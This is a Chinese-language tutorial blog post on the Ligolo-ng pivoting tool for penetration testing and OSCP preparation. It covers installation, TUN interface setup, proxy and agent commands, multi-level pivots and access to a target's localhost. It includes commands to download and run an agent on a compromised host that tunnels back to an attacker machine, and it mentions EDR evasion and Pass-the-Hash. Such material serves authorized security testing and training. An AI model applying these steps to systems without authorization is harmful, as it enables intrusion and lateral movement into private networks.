在渗透测试与红队行动中,网络枢纽(Pivoting)和隧道技术一直是攻防对抗的核心能力。尤其在OSCP(Offensive Security Certified Professional)考试环境下,谁能更快、更稳定地打通目标内网,往往就掌握了通关的主动权。传统的SSH、Chisel、Socat等隧道工具虽经久不衰,但在面对复杂网络拓扑、高延迟环境或多协议需求时,其性能瓶颈和配置复杂度常常成为制约因素。
而Ligolo-ng的出现,彻底改变了这一局面。作为一款基于Go语言开发的高性能隧道工具,Ligolo-ng以创新的TUN虚拟网络接口设计,实现了真正意义上的“VPN-like”体验,无需SOCKS代理即可直接路由流量,传输速度稳定高达100Mbits/sec。
无论你是OSCP考生、红队工程师,还是正在钻研内网穿透的安全从业者,本文将从基础概念出发,系统梳理Ligolo-ng的安装、配置、基本使用、高级技巧以及最新特性在实战中的应用,帮助你全面掌握这一强大工具,高效突破内网边界。
一、认识 Ligolo-ng
1.1 什么是Ligolo-ng?
Ligolo-ng是由Nicolas Chatelain开发的开源隧道工具,基于Go语言编写,是早期Ligolo项目的升级迭代版本。它专为网络渗透测试和红队行动设计,主要用于在攻击者(Attacker)与目标网络之间建立高效的枢纽(Pivot)和隧道。与传统工具不同,Ligolo-ng通过反向TCP/TLS连接(支持Reverse和Bind模式),结合操作系统提供的TUN虚拟网络接口,构建了一个完整的用户态网络栈,从而实现对目标网络的无缝直接访问,无需依赖SOCKS代理或繁琐的端口转发。
其核心工作原理可概括为:
- 代理端(Proxy/Relay):运行在攻击者机器上,作为流量中转核心,负责接收Agent连接并通过TUN接口路由流量。
- 代理端(Agent):运行在已攻陷的目标机器上,主动(或被动)与Proxy建立加密隧道,将目标内网流量转发回攻击者。
这种设计避免了传统工具的瓶颈,使得Ligolo-ng在性能、易用性和稳定性上表现出色。最新v0.8.3版本进一步优化了多会话管理和网络恢复机制,即使在不稳定的网络环境中也能自动重连隧道和监听器。
1.2 Ligolo-ng的核心特性
-
VPN-like体验
通过TUN接口,Ligolo-ng模拟了完整的VPN行为,将攻击者的流量无缝路由到目标网络。无需Proxychains等额外代理工具,即可直接使用Nmap、Metasploit、Evil-WinRM、RDP等工具访问内部资源。 -
多协议全面支持
原生支持TCP、UDP和ICMP(回显请求),可完美处理Nmap的SYN扫描、OS检测、服务枚举、Ping测试以及DNS解析。传输速度稳定可达100 Mbits/sec,远超Chisel等SOCKS-based工具。 -
灵活的端口转发与监听
支持listener_add命令实现本地/远程端口转发(类似SSH的-L/-R),最新版本还支持Agent端Socket绑定(Bind模式),进一步扩展了场景适应性。 -
零特权Agent部署
Agent端无需管理员权限即可运行,非常适合OSCP中常见的低权限初始立足点(如普通用户Shell)。 -
多层Pivot与会话管理
通过Session多会话管理,支持双重、三重甚至更多层Pivot,完美应对复杂的企业内网拓扑。 -
v0.8+新增特性
- Web UI多用户界面:内置API和美观的Web界面,支持多人协作管理多个Proxy和Session,极大提升团队红队效率(通过
--api-laddr启动)。 - autoroute自动路由命令:一键自动创建TUN接口、添加路由,简化配置流程。
- 自动隧道/监听器恢复:网络中断后自动重连,无需手动干预。
- WebSocket支持:增强了浏览器端交互和现代Web应用兼容性。
- Let’s Encrypt自动证书:使用
-autocert实现生产级TLS证书自动签发(需80端口)。 - 增强恢复机制:Agent支持
-reconnect、-retry等参数,Proxy新增接口管理和路由优化。
- Web UI多用户界面:内置API和美观的Web界面,支持多人协作管理多个Proxy和Session,极大提升团队红队效率(通过
这些新特性让Ligolo-ng从“轻量工具”进化成“企业级隧道平台”。
1.3 为什么选择Ligolo-ng?
与传统工具对比,Ligolo-ng的优势在实战中尤为突出:
- 对比SSH:SSH需配置SOCKS(-D)或手动端口转发,而Ligolo-ng通过TUN直接路由全网段,效率提升数倍,且支持UDP/ICMP。
- 对比Chisel:Chisel依赖SOCKS5,延迟高、吞吐低;Ligolo-ng的TUN设计提供更低延迟和更高带宽。
- 对比Socat/Netcat:配置繁琐且不支持多协议无缝路由;Ligolo-ng操作直观,适合快速部署。
- OSCP实战价值:在Proving Network等考试环境中,Ligolo-ng能快速打通多层内网,完成横向移动、凭证dump和域控访问。结合autoroute,新手也能在分钟内完成复杂Pivot。
在真实红队行动中,Ligolo-ng的轻量(二进制体积小)、无痕(Agent无特权)和高性能特性,使其成为绕过EDR和网络监控的首选方案。
二、Ligolo-ng 的安装与配置
2.1 安装准备
Ligolo-ng的安装已大幅简化。Kali Linux现已原生支持apt安装。Proxy运行于攻击者端,Agent部署于目标端(Linux/Windows/macOS等多平台)。
Kali 原生apt安装(如proxy端)
在攻击者机器(Kali)上,直接执行:
sudo apt update
sudo apt install ligolo-ng
安装完成后,二进制文件自动位于:
/usr/bin/ligolo-proxy(Proxy端)/usr/bin/ligolo-agent(Agent端)
无需下载、解压或手动chmod。验证安装:
ligolo-proxy --version
ligolo-agent --version
输出应显示v0.8.3或Kali仓库最新版本。注意:若Proxy与Agent版本不匹配,可能出现“Invalid Byte Sequence”错误,建议统一使用apt安装或从GitHub下载匹配版本。
手动下载安装(如agent端)
从官方GitHub Releases(https://github.com/nicocha30/ligolo-ng/releases/tag/v0.8.3)获取最新二进制:
-
攻击者机器(Proxy端,Linux):
wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.8.3/ligolo-ng_proxy_0.8.3_linux_amd64.tar.gz tar -xvf ligolo-ng_proxy_0.8.3_linux_amd64.tar.gz chmod +x ligolo-ng_proxy sudo mv ligolo-ng_proxy /usr/local/bin/ligolo-proxy # 可选,加入PATH -
目标机器(Agent端):
- Linux:类似下载
ligolo-ng_agent_0.8.3_linux_amd64.tar.gz,解压后重命名为ligolo-agent并赋予执行权限。 - Windows:下载ZIP,解压得到
ligolo-ng_agent.exe。 - 其他平台:支持macOS、BSD等,Agent多平台兼容性极强。
- Linux:类似下载
验证:运行ligolo-proxy --version和ligolo-agent --version确认版本一致。
2.2 配置TUN接口
Ligolo-ng依赖TUN接口实现路由。在Kali上配置如下:
-
创建TUN接口:
sudo ip tuntap add user $USER mode tun ligolo -
激活接口:
sudo ip link set ligolo up -
验证:
ip a | grep ligolo看到
UP状态即成功。
关闭接口(清理时使用):
sudo ip link set ligolo down
sudo ip tuntap del mode tun ligolo
新特性提示:v0.8+的autoroute命令可自动完成上述TUN创建和路由添加,大幅简化操作。
三、Ligolo-ng 的基本使用
3.1 启动Proxy(攻击者机器)
ligolo-proxy -selfcert
-selfcert:生成自签名TLS证书(测试用)。- 高级选项:
-autocert(Let’s Encrypt自动证书,需公网80端口)、--api-laddr 0.0.0.0:8080(启用Web UI多用户模式)。 默认监听0.0.0.0:11601。
3.2 分发Agent
在Proxy机器启动简易HTTP服务器分发Agent:
python3 -m http.server 80
目标机器下载:
wget http://<攻击者IP>/ligolo-agent -O ligolo-agent
chmod +x ligolo-agent
3.3 运行Agent(目标机器)
./ligolo-agent -connect <攻击者IP>:11601 -ignore-cert
- 新增参数:
-reconnect(自动重连)、-retry-delay 5(重试间隔)、-bind(Bind模式,反向监听)。 -ignore-cert:忽略自签名证书(生产环境建议使用有效证书)。
3.4 管理会话(Proxy界面)
Proxy启动后进入交互式CLI:
session:查看所有Agent会话及ID。start <ID>:进入指定Session的隧道模式。help:显示所有命令(新增autoroute等)。listener_add --addr 0.0.0.0:8000 --to 127.0.0.1:80 --tcp:端口转发。
3.5 添加路由
sudo ip route add 192.168.1.0/24 dev ligolo
验证:ip route。
v0.8新特性:在Session内输入autoroute即可自动检测内网、创建TUN接口并添加路由,一键搞定!
四、Ligolo-ng 的高级使用
4.1 访问Agent本地服务(127.0.0.1)——魔法CIDR
目标主机本地服务(如127.0.0.1:8080的Web管理面板)无法直接通过普通TUN访问。Ligolo-ng提供“魔法CIDR”240.0.0.0/4:
240.0.0.1映射为目标的127.0.0.1。
操作:
sudo ip route add 240.0.0.1/32 dev ligolo
curl http://240.0.0.1:8080
nmap -Pn -sT 240.0.0.1
无需额外暴露端口,比Chisel更优雅。
4.2 多级Pivot与深层内网渗透
支持多层跳板。示例场景:Kali → JumpBox A → Target B。
- JumpBox A运行Agent连接Kali。
- 在Kali Proxy中:
将Kali的80端口暴露到JumpBox A的8000端口。listener_add --addr 0.0.0.0:8000 --to 127.0.0.1:80 --tcp - Target B通过A的8000端口下载文件或建立反向连接,实现“深层反向隧道”。
结合autoroute,多层Pivot配置时间从数分钟缩短至秒级。
4.3 v0.8+高级特性(全新补充)
- Web UI多用户协作:启动
ligolo-proxy --api-laddr 0.0.0.0:8080,浏览器访问http://<IP>:8080,支持实时查看Session、网络拓扑、多人同时操作。适合团队红队。 - 自动恢复机制:Agent使用
-reconnect -reconnect-delay 20,网络波动时自动恢复隧道和监听器。 - WebSocket集成:支持现代Web应用流量转发,提升C2隐蔽性。
- Let’s Encrypt生产证书:
ligolo-proxy -autocert -selfcert-domain yourdomain.com,实现企业级加密。 - Bind模式:Agent使用
-bind被动等待Proxy连接,适用于严格出站防火墙环境。
这些特性让Ligolo-ng在长时间驻留渗透中表现卓越。
五、Ligolo-ng实战应用与技巧
在OSCP Proving Network中,Ligolo-ng能显著提升效率:
- 初始立足后快速Pivot:获取低权限Shell后,上传Agent,一键打通内网,绕过防火墙限制。
- 服务枚举与漏洞利用:直接Nmap全网段扫描,无需SOCKS的协议限制。
- 凭证传递与横向移动:通过TUN访问SMB/RDP/SQL,结合CrackMapExec或Impacket实现Pass-the-Hash。
- 考试时间优化:autoroute + Web UI让配置时间缩短70%,留出更多时间给提权和域控。
常见陷阱与排查:
- 版本不匹配:始终保持Proxy/Agent一致。
- TUN权限问题:确保以普通用户运行Proxy(ip tuntap add user $USER)。
- 证书错误:生产环境优先使用-autocert。
- 防火墙拦截:优先TLS端口11601,或自定义端口。
- 性能瓶颈:监控
ip a和路由表,避免路由冲突。
总结速查
| 功能模块 | 用法与场景说明 | 新增/优化 |
|---|---|---|
| 🎯 魔法CIDR | ip route add 240.0.0.1/32 dev ligolo + curl 240.0.0.1 |
稳定 |
| 🔁 多级Pivot | listener_add --addr 0.0.0.0:8000 --to 127.0.0.1:80 --tcp |
增强 |
| 🚀 autoroute | Session内输入autoroute,自动TUN+路由 |
v0.8+ |
| 🌐 Web UI | ligolo-proxy --api-laddr 0.0.0.0:8080,浏览器协作管理 |
v0.8+ |
| 🔄 自动恢复 | Agent加-reconnect,Proxy自动重连隧道 |
v0.8+ |
| 📜 Let’s Encrypt | ligolo-proxy -autocert |
v0.8+ |
参考资料
- GitHub - nicocha30/ligolo-ng
- Kali Linux Tools - ligolo-ng
- Ligolo-ng Documentation
- 社区实战指南(Hacking Articles、StationX等)
原文 https://blog.csdn.net/2301_79518550/article/details/146141967